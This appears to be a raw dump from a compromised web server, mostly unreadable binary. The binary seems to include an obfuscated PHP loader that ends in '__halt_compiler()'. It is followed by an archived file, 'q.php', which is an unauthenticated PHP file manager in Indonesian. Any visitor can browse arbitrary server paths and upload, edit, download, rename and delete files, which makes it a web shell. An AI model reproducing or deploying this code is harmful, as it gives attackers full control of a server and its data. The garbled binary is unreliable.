�<�*�-�K��h�ۭ[ٴ�U��/ q@��h毙��n/\\ʳ;/q�td�+��#'�+cY��.�t>賃=N^�Ji;���NΫ2#7��	���s�P3���@?�c;߇`s��+�64,nr��5�2jݦJf�:�:��#�(5|�/rxl���x{�52�w���e͉����\$������܁���x]
Yo�����]%SL���(����שd��v�n5��;
�V.4��Y-5pY��I�%�Kb'}�F�7���8|�����%+l��\"c��NjK�\$����ɑ�d�_�U�4PF�x��b�HF�N�h��
��`��Up�GȭU~�G�\$���k��'q�Qe�gڮk�k�N_,���H�?+���.��.I�81���|)�*y�B�Q��w�	95u*Z䌜��q���\$�ƻ��� H��2��-<�2����x|WFct�_쨟�Gn�;���^�����e�{�]�����\"�����a�RƵ�8�ҟ�
���+�|/�A��R�����%xo9��F����ڸ]g�lυB��a�I�7(�]�Z�wÔ�9Q�b��+�o�6�\"�}���HkR@v�k�}̪���9R�bvz{��j�pK��.#H�4TvU���_�(�n�PL�#�~�E�[�%j\$�e����!�52)��\$CcO經_�.r��R9\$��d�S(�,�t����3Z��#�T�p���8� ��f�.��������~�֯<\$d�9o�l��X&w�ou�<�|ũ?ߜ(r^�[����64#��k2h�x��y��O3��~x�2O)�n���֌���,n[��~k>��=~n>�Չ�̜��|vן⎔H�D|�vL��	�^>N���*_��I�m�ɼ��'3�+</K�J�����a����	���Qޏ��X�	��\\�(H�Z�uÏ'��76�Df�v���1�Cb��4h�S�����yZ;&����IU�+�
�y�)�c�Y�o+��[�uV]�q4�D�\\�Tl���@�	g��.L�Ӫ�\"ߵ�52��x��Y��L�z�C�~6p�&:��,���T�����EN.᪋2)��~[ږ:e:w�}`���6i\\\\2��<9�M置Bچӈ����z��,���0
7͟��%�ŌZ��`��\$��D�����X�^N����P�a���&�	�
�
ƙ�3�ΈqV��'��ռ��\"��H����#G9{��2Y�F�}�rBFM/i�E�X�\\8cL��L�Ͱ�rGHl��͉+9�^�B���B'oW�[���y���K*��ߐ��t*��.����\\�����V��P���ζ����u�]1�M�����鬪tX�����y�[����t�@�r4JVYwo,��㜴���c��Oӎ�iZt���3
P۷�%�_��Sy'fZm��7��YɆ�,��L.��'��8�4O�+�lz[�����ht^� (��<�o�	�u44�^�jr������\\���\\L��d
��0�~�n���U���|*w�?S�%��l���/��y:�u\\�jK<�yE�e����Uxju�i@-;�)��	�o�DK*k4@�[�N��!�g-�X�S�R^��!�X�[�̡̈́���tc�ol�?�S�I�])r��x���Ax�{�]�a�/��xv��h'��e/����?�Գ^�Or1;��l�`�f��7�/_�*�A]�5��εM�EN(�l�^��*�7r��a�e�D�#[wm�Y>�I �AGޙ6���!�VP�+��
,��%�01��Gt<�l��-֩�@�*�8p���{9����q�ȘR�3�
��}��6�>��;�#�*�#�{:�=��SBW?Tg�I���c`�	�+�J��Ѳ�E�
Wqʅ������P�]9�ܝ���!ck�Px1�����}��/���Ma�S{й2�zx��ݴ��o��yy��z��i\"��j��򲻇'�+�縔��N�Ҹ
�#IX����4�G3yB,U�;Ơ4���Jk�ڊ~-��djvW����4��h�#�٨T�@/�V.(	O��|[�QY���q��n 4��ȥ
������/u�2��I(��J gx˵��x�����GF���O�����h�E�`���7�-�
�.���p�Y�u��c�]@06\$w�� ¾�>&br�W�b���&E�\$�<0l�?ψoU�-HsI�.)W!߱R��N:��/R�Ջf����J9Y��HU����h��\\�=o�^?Ͱ����N��21���PDg�ƺ탞B+V�W�B�D��T�j⯿�hQ-����Y�,U���H��9'ѱ;�7
�^z=�[�s<�&�#wr?a\$����g�<j�ʸ%��<ESD\\���Xz[}��I�O�e	�C�>��;?��'Me&�}55�LP��ZF�p�*G;�Қ�t{8s�:
��L�YU@J�.��#�˿Ԍ���
��Sk&`�{�.��nC�]���z=�u�f�#}�r�#_q��Y>~��[
Ús�'d�A&��*:<._8<�=�jY�MD]���'�\"sP�ћ��8¿�\$�G�,��;*��u��b���9\$��K�ʇ�ϝ��ƛ��S��w��h�@l���NX��<T�	KD97cj�2���

�����n'bpƛ�C�~ꚄR�?M�-�fx�^wJ٣S����,�r\\�I�����3��D�����ǎ�)���(ě-(���e̓V�	D�Q�/O���=>-��%�Y��*^�Rd�n��*]�c��6Di�C[�A�E2����� ԰v�5�Q9�X�F�Lfl6ϫ�}�q)�lw�
&�RIFW./9	C_��.u�[*I1̠�
Q�
L)��+?0o�N�h��L�{?��Z��R?*�d���i�(�'��9E��h7�����A��vqԪ�-6��`W�\\�ԇb���83�]���bu2�`���{��NgT�J�S+����F!�D/Tc��'ŭr�S_61[�S��_��A�xؑ�:��T.���!��V#T��������͆��%i�a�o����⨇�/e�2ؾ)9��[�c���p%�Y@VU0��?h��C�NX\\�1l��ػ�'m51�<��J4дn�hGBv�'bh����-H��'#1i+�tP֪�ܮc.]��/bMT��m����d�਀U�� �79�G�L��.��w:�`w��*Ь#�nz� p���ME������3`���k�s<<c�[B�����k���b&�эwmۼ^ʯ�CZ�DL�h��@���n�r�'{��ƕ�wH�u���RA
\"��{�:(�׵8�/�p�Xz�{�mi�Ҙ�p�r����������(�}�ƾ����4��F�����H��&��
�3C9�֓���VBp�U�׿J���wA
�옖_��[�\"���(�R�)A���W5A��knIL�-��mx��n�,�Sy��D��(��4%\$oM����K�CR������h2z��E�5U8��G���|�6�d�f5�տ��G?��V=/��K�W��y��
�����T�(�8���R��4	y�t8��+��!�5
|��S��t�K�Itz\\O��O�RbX��B�����y�&�i	ӳ�c��
��\"���
PԶ.��B�z�*ig��	��}e\$Y����EY7�\"&�4�#K��&J��lN&���3<�sZ����5(!*�x��[g4�s������y�����>��D�۞m�����(-
���R.��qs>�	i�9�
�R���\"�k�4�%����'\"{�.��F�i�#���BM:y�O�����L��G�-�7����Mv�
1�
�⎆JZ_f�~��3�r��|+6wN��E�6z[C�~���(
�������@n\"V5��\\TNc�P���0%����;��(\"cUQ��?u6\\�J m!u�b�|j=����8�|����h���B��u��nr��[��M`%N&�f�Q��C<v9��N���9j�=6�&3.�H�Vװ/���.~��t�R��eʉj��>Q��)�\\�(m�hg�b��
�B�™�J��pW����Gٸ�? 36�3(�E];�ʸ��~Ώ#q|7��ιvׇ|�n�8�+c�*J��\$Q�����}<���\$�K���\$;;iBjR��H[|h�qn��1���2�e�>������&��C��*���AYдa�o�ɩ#u�`��Y��TL��jU�1��x]���\\�<k�6�\"N���u��x��y���� d��/'_wOW !�a�W�����J�m�klVV|T�~�������zep��T�e��:��?�H
���S����\"'�H��#ي���qZ�W�\\�^���'�� 2�������Bs,��â��z�V�{�
�EK'�s��
��ǦqaJ�붫,����^�'�kI��J��c>���ll�<j2�;�����˦w�v�@
��!�����k�>���?0S]O���+j���n��\\���O1�bܿ��(΍��e\$�*��%hj��>n���j��\"4bx�XĚ^}����0��܉'J���-�+�����m���)5�#}����u@���k�iϰj��0'�0��~0�>�I����f��}S�3��V�^сUV��
a��Z/z��-D.n>N�R|:��Zቲ���nO�2�̙�
��їMn�rȥ:�ʔm=�h��ب�b��K�E;H��È�� ?G�Y=�>e�*]^���M�5&�M��|�o�H����t�՗O����8�Y��#E��9^���Q�p/��>H��y�G}�����#./�&�Bvs�{���=���I�5�a����PI����<m{_7��{�m�đ8�mG�)�48p
�Mm*O���NI��ɺ��/*��PBx�!����1.R&������eP'}`D,��O8p>�DC�.��YD�}��`a����j�8=��`�語��E�|]�s�=�,�(��ϱ��)��0sB��K�uY��i�\"���]�]N�O��'��xp��D��	5�M>�+%�N�z\\�vϵpVC��h�	�IP���X��g�,�j��-��(��z�T�{�ĺ�'��cn]ۙJ��|&g�tR6��qm���(���-�S+�ӏ/��rzJ�3����G7��T�.���ñ9�[�b�Y}_�A,uɂ8}1�oB����
��)����|*\\|x�G0�aE�_�k���R'��(�Zrݵ�%!	B�Cğ�Yp-��4/.�\\~�j����˰���c��2�J�o�Y�.2�j���\":n�AG �_�������߬�9] S)�r:�\\<‚�,i�I�����w9~Q5��j��L��s�IkP�H��߾�J�`�1Y؏�b�2f���_��XUr��E;e!إ�e����	��e5V���\$�:�m�=\$�]�P!�%��5��9�=��`�i��l�nz�S�/^*N��rÚ%���!�M���0���'�֟����J;���������F��09)?�'B^r�BOё_]#>W���j��'���
^��58��!6X3D#`)�ӟ��,��=&gR�D�#�d&��~�ggQ3�s[,�B}���o!fCj��A��'Lܻ�����9Q�V���Q��v\"�
��I�;%��T����\$�1S��6��2R&��6X?�{R��#Q���ڶ�����D��z��,n���@��g���X'��UWc�WS�#�	�)���䁧�
ޓ�
軏'[j�3��VV��upt:��I����Q�׻[���F��������=��<G�4��<
�0�BT����^����')�lOx���-��z�*nH��='�5]�p����d91�j�vY�wq:�6�pս�G��i������;����d���J�\"�)d������A4k�Y�\\��	�60Jv`
[��N>�O�-׬��Y��g:�}���N���P�2O-j*��A?��P�HzF�5UD]x�N%~�/���m�b2�48��\"Y2�v.cFhm�S�o>n�?��3��ʕ��=AKo�a���G'�2����#�n7S�lOb�@~��^��K���o�;ƶ����Sئ�Dzn쮀�vT2N��n�
e��P(�=�d�1����I탗�������]�p��5�9]�X!���>H�V�%�Hd[��ã��^G7#�M8V��]2�ո�ZV_��ww}�Ҕ
af����B���\"���a½�4�;=ZqNK�P�z�̕�K�fs'�����^�a�����U���~x����-��X�1��L��BP��3���/a������(R��Q�����#�>��ꈵ��X���;y�/�'���=č6�Е|	�ﻍ���*9m�DƚI��=3 �%dUU�׾T���m��d�.I��婊�V��la��*�Pֶ�
�ޛ��Ec�?*O��:��-B��\\��K3RGO�j����C����'���Z	��*�����K����}��du������%�n	e�����!R��6rIX5R���R���j��E����U>��s���+�V����ahO	B����꽷Dz�UuIN��>)����N~
�|�� =��lC)@K��Cy��*�-4Y��w��]� �у i�!M�Y��qF��̾C5�.��ʕQn���T�G̒�����z�+\$y}���5��v��������J�Ӑ��v	�|�~mqQ\$^���Rk
邦��<�)QP�.��3�4v�<Ų�	ðC��Y�7�8_�Nj��'g�uw�
�q����\\蓂��/�,Q���0��D�D�J,���R�q�3CeE'�P��
�7\\�kTp�o�����?C�!͠�lz�� 	�XL�D�(�*Zȇ���3��%\"(�dS�s�UɿhJ�s���BO��Y����{P��L�����U�J�ק,�q5��o<(abH��P�\\�F�|&����`��T�}�O9�	.�A�(^LP-L�?�~����
~�t�ot0M`�R�9��������A7-Y��:ʳT�i���c��u�?/ɭ�אg�9F�R���g~ڶP!>-v�T��9�t�_�;-E�cRtl]5?�_�uDk?P��ӎ	�󑄔&�.�v��p���N-��o�%=⊍���%��nKպ[MP�0��1�D������8 �Iӫm�XT��.u�W�`s��Hǘ�y��SZ��uTZ�JQ��Q�	��U!�]�<���I�C�A	�n0��^AK�3}�u=j+��1����K��\\��l٥�ϖ�
��E�Tl�ܻG/�2�i�0&�̑�堨��F5���7g�����_��^F+FsL�H�j�cL>s'�ɉe���X���h�/�O9߉\"7@��:w�v�&��J��HP��\"(��8��܎���/Zxܘ~�T��E�2Y6�['�A\$�>�����D��@T�5��]���:��q՚@�o09��%�b	c���m��;������^�+�~�>���\\�0�?�/�
���N��.f�����[���!�[U'�N|�������CN��_u�/��C�0�.��zkp|b�\$�'h�-+7�vp��=����,�r�䉺A�%�~�}���p�[����|<*�ֶR�s����K�.{5'��t�`m�)��֦���7�!���#����J3�4�14>�nZ�TL�|wY���/ʇ���bbN�-�eB��X@�u�V���}0&3x昧/��m,��[M�O^J�,���e�ת�����>��q�{�H�s�س���
o��F1�4��h|�*�t8�����4��
��
��9�5ܜ��/JZ��(��K�!
�I��3�(�Ǐ�0�cA6��[�/�y��P�Q2��(X�����{	ٯ[��O���1�BT1pƏ75���	��A��7�<6�.�p��u㕾���Z3��w�.+���Q�>�-�UN_͌\"���M��Rx���>!� �c����û���ˌB�1�K/��a�پ�~bc��|��W��i�Z�:�٪������8K��T�������xU�s2���]�i�l��-�&��c*��qG����5��Tc��tº��eA�,뢶6NQ��T����l��0Tr�q:�B̍Yv����c�;��
f���i�Y��%�`ؐ,��!�1�:9��4��5P��d ȭs�!#�ڠ\$ck�\"�1]Bj��+��9��d�u�=��݅D��X��Hm�H�f���Q�p�S�a�3��`找:��-P0aU؆�S\\�4�1�8�����f�.���|k��
�*dz@���LBy�t��:WRZ�d;���l���'��I��Ah�}o3[Sjp���T������N��-/�-
�������U���rf��+�oPyZ���Ȕ%ok���1�d'�{�)W-�5&Ʀb:I�Һ���/��9K�J�.̳��
��a��WR��ˊ����t��	��
�H��lF��	32hUk՘1iy-�?����H��<O93�4��1�[����>W��V�Ҵi�DV�6 +��:����sX�\\
�?�1A�ku�,E�v��=�c{�}�dN1��cX���\$hY4�F����Ȳ,�?L�8��\\�Hvg7i����j	O��6�
G�3�GLڗZȉDy^t�� �{��31�\$r`�a��-/������L5xٕ�;\\�����#�*,���=u�
�c02�B�e�{;;�R���]Q�川�z��8� �}��7�}x�9M\$�3Ս��+�/���yd�X��2���p�+8��{�O�ŀ���N94Y�5��e�_��-���#S)(�2���U\\��b��4�'�AH�2Gg78t^��o�m7÷S
��
�gh�%B�Kڝr@�B.���t���԰Ĩ�A}�L��eK8��}:�3��idYA�i\"��]J�����v��槜�+i��'�p�ÍZi��ZA�͙�L���W�*�*숲�@��⛒�ˤ��~���,��e�̴֝�\"k~���yLH���{����7�����\$@d��+��Vxڌ�c��XB
:�������N�^c?�_SL���V�Sˤa����{�?�޻VY1.Y��yKeކ+�V�Øqi�Ij����6��f|�;�W��R5�����|������),�5h�s��v�A�U
@9v�*�Nq3�Y�u�������rS3��J�0ͯ0�O��@3�T�wY�ޖ.�o}�+\$��pA%��]G#�Z���^��G��F2���Q���Η�h�bC5IH#|�R�1���RIa��ݙ��_��u�,�����K��7��fvye�]7�!f���ZK{����C�������i���
�H�SȋO	4�D}�>'���IA��۞�/��v�hݻ������U�>�
����8�b�`�;5lm��LB�U.��?�����	p*=>��!��t�N���Q:1*�ӺM�1�P%T� G�ʒ6)�ǥ+�b���� �П��1�����q���/�&ȯ�����L�/bq�b�nq�h��u�,�mL�3Q|�exW�R�5)@5�[�{��{�_��9R7���9���(հ\$�<58�=�^R��Rp��~�Z2�Y�3ַdo
sw'jҭ@��K��9���59��f��D��F;(bo�Ơ��)�b�=\"� ��yDk�	5��\"ޱT���<��TP.}A�#�!������[���}I;�J(�ٲ�+�!��1�=so��\"qѴ��X�߈jщ��r��C�{1=���4�i',{�Ļ����+���ֻ��ɛh^QY�8e��.a�5]��:t�<E�:��{,!|S�����6�B�[t��&����<P�@]1��.��};�H�_
Ԣ����w��8�\$C��d�眇�l��iw4t�!��A�gA����³d�e�f'\\VYR�T��ş&�>ާXڻn� �������gBaWsh�0]��G�~������!Z����r�~lMk���Zw�Ꮀ>_��&�%:sh�[Ag';	��n��:{�Jq�wGU詳��ǭ�t����~S�]�tי��zi�R)y�\$O��j4���_bK�U�h)X�Yijv�����<Ă���wT~��飁�i>ĭ�L<���廱&~ƺ`Ht�+C�(s�2���5�ס�����|-��
� ��I�צBu���3K��^��i�B2c�Ǽ4i�&�-(�
�\"' �rhqa}&��o(���@�WT6�z�ŗ��'}p�����[�\\�\\w:�����%:��Y��=ҿ��y�?���tY�?��x�k?:�!�]%�ǣh2L:�l��]��5�uo��6��f
��4���{�����qzR`���?� �jڡ��-0[G�h���b����!�ʪ7jp�X����	���#릎��(B8�'��������C:m9:��+_P|�M�~����mk��.+��{.{��sW���H�l'��P����	��vŘr^*\\�s
�Y�+P^/j�[/A#(��d9*Ϗ��E�Ȱ���g~.�a?��u'��
n���;��ؚ7n� z�cOhol<�j*Ƴ�%� b��q84tי��Z��R5���#@3���8�a��j�nݦ�ϊ��˽���0��gI���ܣ����H�ʃt�<�	��X��~H2���!zƃ���>�a��j�w����v)?��H�B��*K��S��k|ΞO�T@Wi����G�X|�� Rc�� �c���Y#Fa,\\�Z7�j�D�	9�>�6�Q=ݭ&��G���q����ATO��Y]�v�Կp�K��_fFf��䳜
	�*>�X�Q��;�k��\$�*��0S*���:�E��A#�Z����k\\U���x���ڛӒ�w���3��g[��-z�^�1�L��W���W�d^¹2�\$���-�;��%N|֦���U�::i�)&�z�=�����hs(���|���˟-�R��7^��3.�Hwd�鬨�����/�G3��3CA5'���S�ʋZL�*p�E���e�Mu���6���
��8�;��%�D(�ѫ���!�k9lO���P��Rg�㤙
�Qd&+�1�N���`a%��o�B�s�.f^g����,�f�H���?]�ܯw��V���
�~{����j��;�y*焮Z�J�\\陚̡��d��i��M�]�k7�2�>_1<vB�Y&U:^��7M;7z�w5��\\x���/�y7c��ce7��(';�L��E�VR��O?^�(,��&�̮&qp覉“���[mR���ٵA��OI��u+S{�ŵ��+��b���o~�Ϯ�t]�3���F���u���	�\\�YW�K�/Y�XB���g\"uKv�C)&�Y�j,z8���)���[�t�y�.�o��=����,����zc��Uk2���Ϥk��&�\\[8h�s���{N!���K�%ݥ۠�FR;�'j�S�r���Y��R�^���ǩG_�je
�\\�e�@|��b�U[��K���j쯋�&��e�n�ߦ�Ytwx �܃�B`s�c�������x<o����}q��e@f�̿�W�JW���^���w=�
`#Gg�Oc�-����Ѿ��'1��Ϧ2��5�����`2D���H�,���K�3W��RB�=E�1���D�ud�fD��L\$M��q˥bab����A�Q~�Ts'�Fe�6P<ˤ��{ҎTS��	��������Ǣ�*H#� ��A���U��:/���@�lo�;�kt��O���ybט��@��3`Hg׽����Im��U�O��..�ض3�P�����A�BW��f�3����]C�SE�������h8z����)���õ�������S. �•��h�1#��k����l7N/#-�A��^�#�FT���~��_�!�Ӈ���}�m�Ub�����(���(�`;��DC�v�l	�lc�{��tR�����C)��[(�T��?-��	&���@�h(~�vʂ/U���\"��Q�����&k���u~���󝑚F\\:.�%yD+yU��y8I59Y��T^~��\"�Q�z7g`e�T z�%�%�N�LU���p�4�e�+&1�\$u�Ay\$_��ա~�>:_��ZԎd��!ۅ�4��d.X7ن��^-ָ�l���\\I�5��gW�#AT���
�fxM��Nr�M�풸b���8fɢ��n^N´�d/,,��2�!�B8ܯ�pc��������sp~���WI�!�w�8+�&`�5�*�
���r�`�Xw���5)M�ĦR2�rM��\$^�ƈ��ggTl��4�
�fZf���>��|1�c��Pl�r��|�Z��K1DM_���C���Vcdk�8V@����m������x�\">Y���1�:Y�����s	��X�U��H�4k����\\��w���F��-,v��D�G���(&�{o����U��v���-�pB��&<��`�o��9��N�a%MI&���S��A���2]_c��R\\�s�}�eQ�S]ZU7���!f'v���G���M%�`+�4�vÿ��)V���(
u�h�pN!b1�<:r+����� �����C,��Q����ICI=ݔr���Ζ�Ƹ�BB��\\�AEP{��[T�Tr?�K��vo\\O�o�2�3u������a�pol���p���N�C�@סD�	v_gyo�[�XY7�S
n\\Me�VVu #��pY��K�����z��4�'��S�Y2!�q\\ݞ���d&����̥�^���M�#X��dw�����Wo�KK�K���j\\�X�Ǎ݋�\"='`�c�g_u_K5>�}suN��S��҈Lũ!A �E��M0����K6ys��F��E��W�Ĥ�j��޹lE���-�/ƿ�h��ݿ�.�/O�c,�֯@V�کu����?&�A����Ӂ�(��s:���G',f�c�����j��u�w�6&Ao�?n���3%Sw�W&�I��5b�3oPqm�;��o�`�Ͼ�P�
�h_�
�a4o��
�uO%d����d��>��^ܜx[]�\"5_r���k{���ͅ\\�w	�2��K�Bk�><�5�z��`�zf���rF*u��9�k�%���?a	������Mܸ6fY��t��U�R�w�� C��F*=_��T�[Ǐq�Ֆ��2jİ�@�}k��֣}��L��Q��V������Q�X��y��%���6>��%|OmiV�P{\\`^{�Ƚ����v�j\\�)�:��ڛ��:M�h2'\\'Ƹ42!z�C[@����@>_���u���m�T�,��7#�����^����2\"�'���)��P�@X͋�`Z	�j��t����:��! m�*wr�`�,�t�b���R5z����\\�?s��e`����xD��m�}�H V�
B7�m)k�:��� �Ռ����.6Xs#��G���S�	�ϻ�J@<�/徤����W��ؗ�Ʊ�0��p�9�F�+�N��r\$�_��ݺm�Y}��~~x�?�����R�
�ح�G�\"��L�o����ggrD��\\�F�s�'�E~�����ͯ�a���4_>��
�jMLU��S��z+�<О�@��|��M�Ժ/U �~k�C`ͻ��D���:��(ҹ�A?u�X{?hl[��ξ��w`�>��ʮR^��\"X��x
p�R���9�T���^薾�x�4աC[U�>���;��Ƨ�F�	�\\94����Ƴ/G޺r�9:h��oQ 9䙹�xK��u���l_N78c�%���ɡ�u||@����Sn��pӤ;B�1������U h�|A�eD\\���|�`�1 9�?����+WJ9��\"�
��c����'?��+hj��A�\$�wE�P��A���Ⱥy�/��|�P��9�Mj�؃�C���.�&?�z�h���#��wsz�<H�[��H�k�^pݬQ@!��n�eaD��|ݶp:�)�w�l9r@M�'k�g�=ɏ(c󷃰��/��,�Ps�3˶��qn�����'j��i7ٕpC\\�7c�yn��b\\���)L��~�\\���.B�eXv��pFӡ�;�dwC��߱�ߥ>��k[�v��H5��t�m��ܫ�F�%@�[Z�/�%�E%/�ӹ<9ꚳ����������Q��ީ�۳����@�i��&�~3�M���0S���K��^�0�����Qq�(���^|j*�Rs��'C�V�K3��7�H��'�Ղ�%�eo�̄07:�Y���=uI�f�	�&�4����w�P�Uocemnnif���7Δ=����;�̏���4C,F�0�N�pJ�BZb��fd1'T�g�i�u�t���\"�1��Dp�!�M9‹?��}P�Tf���6Q;���(4��v/kL+�N�Ȓ����u��nJu`���tZ�Kԛ���xfZ#��U�s�Lֺtbp��T�ۥRʧ�=�����Ry�-v]B�i���C�+�
v,��b�=s�\"Γ�]���gy�,��ӕ�A'���\"���I��D{�K-
^h�O��U4\"u��1�'���ts��6��]�fIC^�
�N�����k�J�C�����
rΕ�i�E�� �s7fϼ��Q��(u����	UJ����{Z9ƾϠh�n�„ҵ�Y��D���%݃��@�[�u�uP�@���
<3?�m��,픫��{�	�7zWq��?j:���q����U���X.��х:>m�\$��0���o	.�
Z�D�3p���,��˜�8������ϒ��p��:#>Qk��_EwY���QsC��+�J�\$�h��_!��[z%�B�5����z�\\U�\\̷��!1���ؒ2�(�/>��z��UA�v���ɀ��c���^`͢@��E�}�;�h�ވ��{�:�%��\\��+}o_���H?��5��\\��^o[���剂��[�p��týp֟�\"΍f�}6\"ZW�vIake��z�ٯſS����?\"����h�7&yo��\"[ƒ�}�/�f�+p2G��l[������!3��)
����iQ>�jw�l3���=)��,�=/.�ޖ��u����?�y�y�Ourb2|m��DS�tE�{\\�F����&��M��cw�E�;�#�E�2n�ف�ݮ �yr-7A!ŹYm�I/�0P����R���9dn��Ϝ���pˎ`�sS�R�;��g�'<j�>	,�O� \"��@��lߍ7
��.�޸Og��8����J��*�2����	N�Cz������R�/��#����n�0�_D]BDA��ᶐz��K?�����Q7<�T衰�YS*<D�\"1☷��
����O���M�'\$���-ɠ�k��*MZ\\�ځf/�w��+���@-������H]K=Ш>g.,2�3+��玺
�q�ヌՠv���
��5�3j�!�8�9"));__halt_compiler();�����������Ў��Ǎ��
Ж�����Ӑ���������������׽�����Ļ�����乬�����ʨ�����������������������
�ķ�ـΧ�
ޛ�ݑ�����������ڃ���͞��������Ǜ���鏌��������϶�Ƒ�����������ˬޗ��³ȋ��	��ᴫ������׸����ҍ�
�����������ҍ���۩�
�Ֆ���������	��Ə���A.�Đ�-�MW=�̕�>��J�\6�����XǺ�
���	�wg	��S����qc�/��DS����_���A�ۘO{��J1�]\qPWF����Z'e|��s*_ӶoR����-���k҄wq|�G��ٗE�%�[��8{t�A�_������V6}RCߛ_ꍁL^0��<@*D���"Y�k�79q�������^�:��_V��A���t�|�F+y^�h�B��G�Ga��۷h��%X��K�iB��b�2��a:N� \Q�l0�s&���˙���>٤3cpo��ds��$�;�B\�C	����LK�H�տ1��
�,�yO�+Y�ވZ����@������>4�	/)omXF��0�v�e9 \D�2���nn��h�@�Fq���D-zQ��;h����A$�F��K�ѯ `3�'ތ��>�zM3C�1O�mME<zvy,^����ǛV�y�j?���+��sr�K�L������"��`N~�KB����B�2�}B��NS����ar���zb0ɽ��l�c��	�ǫ6>S��B`���K��%��DY���i�)7%_>�_ƃ�EՃ�ћ���I?B�ą)�K�J�E�=��^�(���,����ox�������]�[�$���s^�0ٕ9�\<��L�ox�v+\"�h��<mh.�������oy��k��N�v����v}8�
�!�=K8����-{%��q��M��i�4�O���n\?5B
8e��� ��'��1w�Y-M{��r^C����g������
}��VF�X��j����R��y6�΄-�7�E�K����2��#W/#�����<'�O�1��K��ú�Qo�(ͻ�Wh���դ�Ǿ�c&IF+���̡��_Ի��2y�?�Дc�KBWp>�G�#�ʃ`�� ��k)�#���՟�a�d��i�$�[�M�L���@��ٯ���M
q1�Կ��p>v��̬d��$Y�N�%7����H�XUy5�I
-�N��U�����l`.�G���߆^�$��������Z�~�8�e_��/��=k�g�7�����K�
��D��E
�P9/��$>�VP�\(�r�Q{�V(�P����Fqq0�lA>��ֻY ����)/�[]�@���[���3�wα�v�Fj�}���a�˽`�B�qF�}>��X��|-ԓ�Ոf�u�������_n�5]+�tm����9 ]�-Dw6�5�?�-��]s"+(C�|e(�y���~44�'�)M~��O�u=�B=U��b��x��\��c��#D-iB��o��^�"Z�T'�u^m6��+Y��t��gT*ɜ�ҿ*����uX�+Eӫ��=�X*��xudW��>�6�����Z�&���\� x�,�#�m���x�*�
�z�����f�xAN�<�ͱ�AW��<s|s[���bYF]��x+"�
�Ь��迍QP3۪�l{�m�㶸��z��f�
~*[_4��V.���|T9���9�9���}�{ˠ�7_�4��ѩ<�	�����`�n�E��u��I��0"�4�����|���N���)�x_%x���o�J}t�($P��D�KUk��}���Hψ�)�$ǎmf�JAT�@L�Q�#�$
�}�s�	XE+x�ڒ2�:"fm8��ܩ�_.�2H�iXWD�O�?dGL<�Z;2�&��*�f	&H<�Wr�N�n�K}�cQ%w�����;��E��؃w�����8#�`Ka�XoZIM�N'.�r�'S�j_v�[q6}=>�jQ ���"<�ꦽ�V��˷p�-����g�=ø�X@v�/^����(�Wx�|��VhԠ:i�iK0l�E2_�N�jZ��0�1�i�&�݉jx����"J�4M�%��gU�\6�T~$��/��&q�n�K��d8��@e������U��,4}G�h��(pZ4!Y<I�HD�~=P�#n��(*T�x�.�O�#5x�RTx��Lj��:����߮|6Dc�dr80q.php000064400000010356151531126630006223 0ustar00<?php
session_start();

// ----[ Konfigurasi Awal ]----
$currentDir = realpath(isset($_GET['path']) ? $_GET['path'] : __DIR__);
if (!is_dir($currentDir)) {
    die("Direktori tidak ditemukan.");
}

function deleteDir($dirPath) {
    if (!is_dir($dirPath)) return unlink($dirPath);
    foreach (scandir($dirPath) as $item) {
        if ($item === '.' || $item === '..') continue;
        deleteDir($dirPath . DIRECTORY_SEPARATOR . $item);
    }
    return rmdir($dirPath);
}

// Rename
if (isset($_POST['rename'], $_POST['oldname'], $_POST['newname'])) {
    $old = $currentDir . DIRECTORY_SEPARATOR . $_POST['oldname'];
    $new = $currentDir . DIRECTORY_SEPARATOR . $_POST['newname'];
    if (file_exists($old)) rename($old, $new);
}

// Hapus
if (isset($_GET['delete'])) {
    $target = realpath($currentDir . DIRECTORY_SEPARATOR . $_GET['delete']);
    if (strpos($target, $currentDir) === 0 || file_exists($target)) {
        deleteDir($target);
    }
    header("Location: ?path=" . urlencode($currentDir));
    exit;
}

// Download
if (isset($_GET['download'])) {
    $file = $currentDir . DIRECTORY_SEPARATOR . $_GET['download'];
    if (is_file($file)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($file) . '"');
        header('Content-Length: ' . filesize($file));
        readfile($file);
        exit;
    }
}

// View/Edit
if (isset($_GET['view'])) {
    $file = $currentDir . DIRECTORY_SEPARATOR . $_GET['view'];
    if (is_file($file)) {
        if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
            file_put_contents($file, $_POST['content']);
            echo "<p>File disimpan.</p>";
        }
        $content = htmlspecialchars(file_get_contents($file));
        echo "<h3>Edit: ".basename($file)."</h3>";
        echo "<form method='post'><textarea name='content' rows='20' cols='100'>{$content}</textarea><br><button type='submit'>Simpan</button></form>";
        echo "<p><a href='?path=".urlencode($currentDir)."'>Kembali</a></p>";
        exit;
    }
}

// Upload
if (isset($_FILES['upload']) && $_FILES['upload']['error'] === UPLOAD_ERR_OK) {
    $tmpName = $_FILES['upload']['tmp_name'];
    $name = basename($_FILES['upload']['name']);
    move_uploaded_file($tmpName, $currentDir . DIRECTORY_SEPARATOR . $name);
    header("Location: ?path=" . urlencode($currentDir));
    exit;
}

$items = scandir($currentDir);
?>

<h2>File Manager</h2>
<p>Path: <?= htmlspecialchars($currentDir) ?></p>
<p><a href="?path=<?= urlencode(dirname($currentDir)) ?>">⬅️ Kembali</a></p>

<form method="post" enctype="multipart/form-data">
    <input type="file" name="upload" required>
    <button type="submit">Unggah</button>
</form>

<table border="1" cellpadding="5">
<tr><th>Nama</th><th>Aksi</th><th>Rename</th></tr>
<?php foreach ($items as $item):
    if ($item === '.' || $item === '..') continue;
    $path = $currentDir . DIRECTORY_SEPARATOR . $item;
    $isDir = is_dir($path);
    ?>
    <tr>
        <td><?= $isDir ? "📁" : "📄" ?> <?= $isDir ? "<a href='?path=" . urlencode($path) . "'>$item</a>" : $item ?></td>
        <td>
            <?php if (!$isDir): ?>
                <a href="?path=<?= urlencode($currentDir) ?>&download=<?= urlencode($item) ?>">Download</a> |
                <a href="?path=<?= urlencode($currentDir) ?>&view=<?= urlencode($item) ?>">View/Edit</a> |
            <?php endif; ?>
            <a href="?path=<?= urlencode($currentDir) ?>&delete=<?= urlencode($item) ?>" onclick="return confirm('Yakin hapus?')">Hapus</a>
        </td>
        <td>
            <form method="post" style="display:inline;">
                <input type="hidden" name="oldname" value="<?= htmlspecialchars($item) ?>">
                <input type="text" name="newname" value="<?= htmlspecialchars($item) ?>" required>
                <button type="submit" name="rename">Ubah</button>
            </form>
        </td>
    </tr>
<?php endforeach; ?>
</table>
<style>
